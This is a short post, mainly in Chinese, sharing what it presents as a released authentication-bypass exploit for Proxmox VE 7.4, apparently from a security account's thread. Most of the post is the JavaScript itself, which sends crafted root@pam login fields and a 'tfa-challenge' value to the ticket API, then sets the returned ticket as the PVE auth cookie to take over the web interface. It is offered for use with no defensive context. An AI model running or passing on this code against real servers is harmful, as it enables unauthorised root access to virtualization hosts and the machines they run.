Update: 由于 PVE 7.x 已 EOL，因此对应版本的 Exploit 已提前发布（确认可完整绕过 WebUI 认证），8.x/9.x 则被作者声明为 “暂时不受影响”

Exp (.js) 正文:

// PVE 7.4 auth-bypass @NebuSec 2026
// First, make sure to try logging in as root with this exact password: root@pam
(async () => {
    const form = new URLSearchParams({
        username: "root@pam",
        password: "root@pam",
        "tfa-challenge": "NEBUSEC-CHALLENGE",
    });
    const loginResponse = await fetch("/api2/json/access/ticket", {
        method: "POST",
        credentials: "omit",
        headers: { "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8" },
        body: form,
    });
    const loginBody = await loginResponse.json();
    document.cookie = `PVEAuthCookie=${loginBody?.data?.ticket}; Path=/; Secure; SameSite=Strict`;
    location.reload()
})();

https://fixupx.com/nebusecurity/status/2094719919539793989

🧵 Thread • FixupX

NebuSec (@nebusecurity)

Proxmox VE 7.x authentication bypass (pre-auth RCE)